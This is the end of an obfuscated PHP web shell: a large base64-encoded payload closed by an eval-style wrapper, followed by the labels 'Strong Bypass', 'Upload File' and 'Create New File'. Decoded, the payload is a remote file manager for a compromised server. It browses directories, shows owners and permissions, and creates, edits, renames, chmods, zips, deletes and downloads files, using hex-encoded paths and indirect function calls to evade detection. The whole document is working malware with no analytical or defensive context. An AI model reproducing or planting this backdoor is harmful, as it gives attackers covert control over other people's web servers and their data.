YXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyBuYW1lPSdjb250ZW50c19maWxlJyByb3dzPSc3JyBwbGFjZWhvbGRlcj0neW91ciBzY3JpcHQnICRfcj48L3RleHRhcmVhPg0KCQkJCTxkaXYgY2xhc3M9J2QtZ3JpZCBnYXAtMic+DQoJCQkJCTxpbnB1dCBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgdHlwZT0nc3VibWl0JyBuYW1lPSdiaWtpbicgdmFsdWU9J2NyZWF0ZSc+DQoJCQkJPC9kaXY+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2PiI7DQoJCX0NCgkJLy8gRGlyIE5ldw0KCQlpZihpc3NldCgkXzdbJ2Rpcm5ldyddKSkgew0KCQlzKCk7DQoJCWlmKGlzc2V0KCRfN1snY3JlYXRlJ10pKXsNCgkJCSRuYW1lID0gJF83WyduYW1lX2RpciddOw0KCQkJZm9yZWFjaCAoJG5hbWUgYXMgJG5hbWVfZGlyKXsNCgkJCQkkZm9sZGVyID0gcHJlZ19yZXBsYWNlKCIoW15cd1xzXGRcLV9+LDs6XFtcXVwoXF0uXXxbXC5dezIsfSkiLCAnJywgJG5hbWVfZGlyKTsNCgkJCQkkZmQgPSBAbWtkaXIgKCRmb2xkZXIpOw0KCQkJfQ0KCQkJaWYoJGZkKXsNCgkJCQllY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii5oZXgoJHBhdGgpLiInPC9zY3JpcHQ+IjsNCgkJCX0gZWxzZSB7DQoJCQkJZWNobyAnPHN0cm9uZz5DcmVhdGUgZGlyPC9zdHJvbmc+IGZhaWwhICcuZXIoKS4nPC9kaXY+JzsNCgkJCQl9DQoJCQl9DQoJCWVjaG8gIg0KCQk8ZGl2IGNsYXNzPSdtYi0zJz4NCgkJCTxmb3JtIG1ldGhvZD0nUE9TVCc+DQoJCQkJPGkgY2xhc3M9J2JpIGJpLWZvbGRlcic+PC9pPiBOYW1lIGRpcmVjdG9yeToNCgkJCQk8ZGl2IGNsYXNzPSdpbnB1dC1ncm91cCBtYi0zJz4NCgkJCQkJPGlucHV0IGNsYXNzPSdmb3JtLWNvbnRyb2wgZm9ybS1jb250cm9sLXNtJyB0eXBlPSd0ZXh0JyBuYW1lPSduYW1lX2RpcltdJyBwbGFjZWhvbGRlcj0nRGlyIG5hbWUnICRfcj4NCgkJCQkJPGlucHV0IGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyB0eXBlPSdzdWJtaXQnIG5hbWU9J2NyZWF0ZScgdmFsdWU9J2NyZWF0ZSBkaXInPg0KCQkJCTwvZGl2Pg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4iOw0KCQl9DQoJCWVjaG8gJw0KCQk8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlIj4NCgkJPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciB0YWJsZS1kYXJrIHRleHQtbGlnaHQiPg0KCQk8dGhlYWQ+DQoJCTx0cj4NCgkJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPm5hbWU8L3RkPjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPnR5cGU8L3RkPg0KCQkJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPmxhc3QgZWRpdDwvdGQ+DQoJCQkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+c2l6ZTwvdGQ+DQoJCQkJPHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+b3duZXI8Z3I+LzwvZ3I+Z3JvdXA8L3RkPg0KCQkJCTx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPnBlcm1pc2lvbjwvdGQ+DQoJCQk8dGQgY2xhc3M9InRleHQtY2VudGVyIj5hY3Rpb248L3RkPg0KCQk8L3RyPg0KCQk8L3RoZWFkPg0KCQk8dGJvZHkgY2xhc3M9InRleHQtbm93cmFwIj4NCgkJPHRyPg0KCQkJPHRkPjxpIGNsYXNzPSJiaSBiaS1mb2xkZXIyLW9wZW4iPjwvaT48YSBjbGFzcz0idGV4dC1kZWNvcmF0aW9uLW5vbmUgdGV4dC1zZWNvbmRhcnkiIGhyZWY9Ij9kaXI9Jy5kaXJuYW1lKCRkaXIpLiciPi4uPC9hPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkPjwvdGQ+PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+DQoJCQkJPGRpdiBjbGFzcz0iYnRuLWdyb3VwIj4NCgkJCQkJPGEgY2xhc3M9ImJ0biBidG4tb3V0bGluZS1saWdodCBidG4tc20iIGhyZWY9Ij9maWxlbmV3JnBhdGg9Jy4kZGlyLiciPjxpIGNsYXNzPSJiaSBiaS1maWxlLWVhcm1hcmstcGx1cy1maWxsIj48L2k+PC9hPg0KCQkJCQk8YSBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbSIgaHJlZj0iP2Rpcm5ldyZwYXRoPScuJGRpci4nIj48aSBjbGFzcz0iYmkgYmktZm9sZGVyLXBsdXMiPjwvaT48L2E+DQoJCQkJPC9kaXY+DQoJCQk8L3RkPg0KCQk8L3RyPic7CQkNCgkJZm9yZWFjaCgkc2NhbmQgYXMgJGRpcil7DQoJCQkkZHQgPSBkYXRlKCJkLW0tWSBHOmkiLCBmaWxlbXRpbWUoIiRwYXRoLyRkaXIiKSk7DQoJCQlpZihzdHJsZW4oJGRpcikgPiA1MCkgew0KCQkJCSRfZCA9IHN1YnN0cigkZGlyLCAwLCA1MCkuIi4uLiI7CQkNCgkJCX1lbHNlew0KCQkJCSRfZCA9ICRkaXI7DQoJCQl9DQoJCQlpZigkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJ3Bvc2l4X2dldHB3dWlkJykpIHsNCgkJCQkkZG93bmVyID0gQHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigiJHBhdGgvJGRpciIpKTsNCgkJCQkkZG93bmVyID0gJGRvd25lclsnbmFtZSddOw0KCQkJfSBlbHNlIHsNCgkJCQkkZG93bmVyID0gZmlsZW93bmVyKCIkcGF0aC8kZGlyIik7DQoJCQl9DQoJCQlpZigkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJ3Bvc2l4X2dldGdyZ2lkJykpIHsNCgkJCQkkZGdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRkaXIiKSk7DQoJCQkJJGRncnAgPSAkZGdycFsnbmFtZSddOw0KCQkJfSBlbHNlIHsNCgkJCQkkZGdycCA9IGZpbGVncm91cCgiJHBhdGgvJGRpciIpOw0KCQkJfQ0KCQkJaWYoISRmdW5nc2lbMV0oJHBhdGguJy8nLiRmaWxlKSkgY29udGludWU7DQoJCQkJJHNpemUgPSBmaWxlc2l6ZSgkcGF0aC4nLycuJGZpbGUpLzEwMjQ7DQoJCQkJJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsNCgkJCWlmKCRzaXplID49IDEwMjQpew0KCQkJCSRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsNCgkJCX1lbHNlew0KCQkJCSRzaXplID0gJHNpemUuJyBLQic7DQoJCQl9DQoJCWlmKCEkZnVuZ3NpWzFdKCRwYXRoLicvJy4kZGlyKSB8fCAkZGlyID09ICcuJyB8fCAkZGlyID09ICcuLicpIGNvbnRpbnVlOw0KCQllY2hvICINCgkJPHRyPg0KCQkJPHRkPjxpIGNsYXNzPSdiaSBiaS1mb2xkZXItZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj0nP3BhdGg9Ii5oZXgoJHBhdGguJy8nLiRkaXIpLiInPiRfZDwvYT48L3RkPg0KCQkJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+ZGlyPC90ZD4NCgkJCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkdDwvdGQ+DQoJCQk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4tPC90ZD4NCgkJCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRkb3duZXI8Z3I+LzwvZ3I+JGRncnA8L3RkPg0KCQkJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjsNCgkJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikpIGVjaG8gJzxncj4nOw0KCQkJCQllbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPHJkPic7DQoJCQkJZWNobyBwKCRwYXRoLicvJy4kZGlyKTsNCgkJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGRpcikgfHwgIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPC9mb250PjwvY2VudGVyPjwvdGQ+JzsNCgkJZWNobyAiDQoJCQk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4NCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJHBhdGguJy8nLiRkaXIpLiImYWN0aW9uPXJlbmFtZV9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkcGF0aC4nLycuJGRpcikuIiZhY3Rpb249emlwX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWZpbGUtemlwLWZpbGwnPjwvaT48L2E+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJHBhdGguJy8nLiRkaXIpLiImYWN0aW9uPXRvdWNoX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLWNhbGVuZGFyJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRwYXRoLicvJy4kZGlyKS4iJmFjdGlvbj1jaG1vZF9mb2xkZXInPjxpIGNsYXNzPSdiaSBiaS1maWxlLWxvY2stZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkcGF0aC4nLycuJGRpcikuIiZhY3Rpb249ZGVsZXRlX2ZvbGRlcic+PGkgY2xhc3M9J2JpIGJpLXRyYXNoLWZpbGwnPjwvaT48L2E+DQoJCQk8L2Rpdj4NCgkJCTwvdGQ+DQoJCTwvdHI+IjsNCgkJfQ0KCQlmb3JlYWNoKCRzY2FuZCBhcyAkZmlsZSl7DQoJCQkkZnQgPSBkYXRlKCJkLW0tWSBHOmkiLCBmaWxlbXRpbWUoIiRwYXRoLyRmaWxlIikpOw0KCQkJaWYoJEdMT0JBTFNbJ2Z1bmdzaSddWzVdKCdwb3NpeF9nZXRwd3VpZCcpKSB7DQoJCQkJJGZvd25lciA9IEBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoIiRwYXRoLyRmaWxlIikpOw0KCQkJCSRmb3duZXIgPSAkZm93bmVyWyduYW1lJ107DQoJCQl9IGVsc2Ugew0KCQkJCSRmb3duZXIgPSBmaWxlb3duZXIoIiRwYXRoLyRmaWxlIik7DQoJCQl9DQoJCQlpZigkR0xPQkFMU1snZnVuZ3NpJ11bNV0oJ3Bvc2l4X2dldGdyZ2lkJykpIHsNCgkJCQkkZmdycCA9IEBwb3NpeF9nZXRncmdpZChmaWxlZ3JvdXAoIiRwYXRoLyRmaWxlIikpOw0KCQkJCSRmZ3JwID0gJGZncnBbJ25hbWUnXTsNCgkJCX0gZWxzZSB7DQoJCQkJJGZncnAgPSBmaWxlZ3JvdXAoIiRwYXRoLyRmaWxlIik7DQoJCQl9DQoJCQlpZighJGZ1bmdzaVszXSgkcGF0aC4nLycuJGZpbGUpKSBjb250aW51ZTsNCgkJCWlmKHN0cmxlbigkZmlsZSkgPiA1MCkgew0KCQkJCSRfZiA9IHN1YnN0cigkZmlsZSwgMCwgNTApLiIuLi4tLiIuJGV4dDsJCQ0KCQkJfWVsc2V7DQoJCQkJJF9mID0gJGZpbGU7DQoJCQl9DQoJCWVjaG8gIg0KCQk8dHI+DQoJCTx0ZD48aSBjbGFzcz0nYmkgYmktZmlsZS1lYXJtYXJrLXRleHQtZmlsbCc+PC9pPjxhIGNsYXNzPSd0ZXh0LWRlY29yYXRpb24tbm9uZSB0ZXh0LXNlY29uZGFyeScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPXZpZXcmb3BuPSRmaWxlJz4kX2Y8L2E+PC90ZD4NCgkJCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPmZpbGU8L3RkPg0KCQkJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+JGZ0PC90ZD4NCgkJCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiIuc3ooZmlsZXNpemUoJGZpbGUpKS4iPC90ZD4NCgkJCTx0ZCBjbGFzcz0ndGV4dC1jZW50ZXInPiRmb3duZXI8Z3I+LzwvZ3I+JGZncnA8L3RkPg0KCQkJPHRkIGNsYXNzPSd0ZXh0LWNlbnRlcic+IjtpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8Z3I+JzsNCgkJCWVsc2VpZighaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPHJkPic7DQoJCQkJZWNobyBwKCRwYXRoLicvJy4kZmlsZSk7DQoJCQlpZihpc193cml0YWJsZSgkcGF0aC4nLycuJGZpbGUpIHx8ICFpc19yZWFkYWJsZSgkcGF0aC4nLycuJGZpbGUpKSBlY2hvICc8L2dyPjwvcmQ+PC90ZD4nOw0KCQkJZWNobyAiDQoJCQk8dGQgY2xhc3M9J3RleHQtY2VudGVyJz4NCgkJCTxkaXYgY2xhc3M9J2J0bi1ncm91cCc+DQoJCQkJPGEgY2xhc3M9J2J0biBidG4tb3V0bGluZS1saWdodCBidG4tc20nIGhyZWY9Jz9kaXI9Ii5oZXgoJGZ1bmdzaVs3XSgpKS4iJmFjdGlvbj12aWV3Jm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWV5ZS1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZWRpdCZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1wZW5jaWwtc3F1YXJlJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249cmVuYW1lJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLXBlbmNpbC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dW56aXBfZmlsZSZvcG49JGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1maWxlLXppcC1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249dG91Y2hfZmlsZSZvcG49JHBhdGgvJGZpbGUnPjxpIGNsYXNzPSdiaSBiaS1jYWxlbmRhcic+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWNobW9kJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWZpbGUtbG9jay1maWxsJz48L2k+PC9hPg0KCQkJCTxhIGNsYXNzPSdidG4gYnRuLW91dGxpbmUtbGlnaHQgYnRuLXNtJyBocmVmPSc/ZGlyPSIuaGV4KCRmdW5nc2lbN10oKSkuIiZhY3Rpb249ZGVsZXRlX2ZpbGUmb3BuPSRwYXRoLyRmaWxlJz48aSBjbGFzcz0nYmkgYmktdHJhc2gtZmlsbCc+PC9pPjwvYT4NCgkJCQk8YSBjbGFzcz0nYnRuIGJ0bi1vdXRsaW5lLWxpZ2h0IGJ0bi1zbScgaHJlZj0nP2Rpcj0iLmhleCgkZnVuZ3NpWzddKCkpLiImYWN0aW9uPWRvd25sb2FkJm9wbj0kcGF0aC8kZmlsZSc+PGkgY2xhc3M9J2JpIGJpLWRvd25sb2FkJz48L2k+PC9hPg0KCQkJPC9kaXY+DQoJCQk8L3RkPg0KCQk8L3RyPiI7DQoJCX0NCgkJPz4NCgkJPC90Ym9keT4NCgkJPC90YWJsZT4NCgkJPC9kaXY+PGRpdiBjbGFzcz0ndGV4dC1zZWNvbmRhcnknPiZjb3B5IGIxdGV2dWxuIC0gRHVhbEhleCBJbmMuPC9kaXY+DQoJPC9kaXY+DQo8L2Rpdj4NCjwvYm9keT4NCjwvaHRtbD4=")); ?>
@LwBee Strong Bypass
Upload File
Create New File